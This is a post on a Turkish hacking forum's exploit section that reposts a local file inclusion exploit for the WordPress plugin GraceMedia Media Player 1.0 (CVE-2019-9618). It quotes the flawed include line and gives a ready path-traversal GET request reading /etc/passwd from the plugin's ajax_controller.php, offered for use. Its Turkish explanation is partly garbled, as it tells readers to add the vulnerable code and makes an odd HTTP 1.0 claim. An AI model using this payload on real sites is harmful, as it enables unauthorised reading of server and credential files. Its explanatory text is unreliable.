Turkhackteam.net/org - Turkish Hacking & Security Platform  
Geri git   Turkhackteam.net/org - Turkish Hacking & Security Platform >
Turkhackteam Under Ground
> Exploitler

Exploitler Exploit Nedir ? Nasıl Kullanılır Ve Yeni Çıkan Exploitler Hakkında Bilgi ...





WordPress Plugin GraceMedia Media Player 1.0 - Local File Inclusion

Exploitler

Yeni Konu aç Cevapla
 
Seçenekler
Alt 13-03-2019 21:26   #1
  • Anka Saldırı Timi Asistanı
  • Üye Bilgileri
Üyelik tarihi
01/2019
Mesajlar
Konular

Teşekkür (Etti): 20
Teşekkür (Aldı): 35


WordPress Plugin GraceMedia Media Player 1.0 - Local File Inclusion



# Exploit Title / Exploit Başlığı : WordPress Plugin GraceMedia Media Player 1.0 - Local File Inclusion
# Date / Tarih: 13-02-2019
# Original Date / İlk sürülme tarihi : February 06, 2019/Şubat 06, 2019
# Author / Ekleyen: MANUEL GARCÍA CÁRDENAS
# Version / Versiyon: 1.0
# Category / Kategori: Webapps
# Tested on / Test edilen platform: Php
# CVE: 2019-9618

Açıklama:
**
GraceMedia Player , web sitenize API kullanarak doğrudan video eklemenizi sağlayan bir wordpress eklentisidir.
**

**
Güvenlik Açığı Türü:
Vulnerability-Local File Inclusion
**

**
Güvenlik Açığı :
Bu dosya younda açık bulundu:
/gracemedia-media-player/templates/files/ajax_controller.php
Açık için önce bu kodu ekleyin:
require_once($_GET['cfg']);
(cfg yazan yere kendi yerel dosyalarınızın yolunu ekleyin)
Bu açık sadece http 1.0 sürümlerinde kullanılabilir.
**
Örnek :
GET İsteği:
/wordpress/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../etc/passwd

Exploit Adresi : https://www.exploit-db.com/exploits/46537



___________________________________________

"Ulusal egemenlik öyle bir nurdur ki, onun karşısında zincirler erir, taç ve tahtlar yanar, mahvolur."
Mustafa Kemal ATATÜRK

telegram: deargod_tht
 Offline  
 
Alıntı ile Cevapla
Cevapla

Bookmarks

Seçenekler


Bilgilendirme Turkhackteam.net/org
Sitemizde yer alan konular üyelerimiz tarafından paylaşılmaktadır.
Bu konular yasalara uygunluk ve telif hakkı konusunda yönetimimiz tarafından kontrol edilse de, gözden kaçabilen içerikler yer alabilmektedir.
Bu tür konuları turkhackteamiletisim [at] gmail.com mail adresimize bildirebilirsiniz, konular hakkında en kısa sürede gerekli işlemler yapılacaktır.
Please Report Abuse, DMCA, Harassment, Scamming, Warez, Crack, Divx, Mp3 or any Illegal Activity to turkhackteamiletisim [at] gmail.com

Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz.
Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.



         

Powered by vBulletin® Copyright ©2000 - 2019

TSK Mehmetçik Vakfı

Türk Polis Teşkilatını Güçlendirme Vakfı

Google+
Pomeranian Boo
Siber Güvenlik
sosyal medya bayilik paneli

wau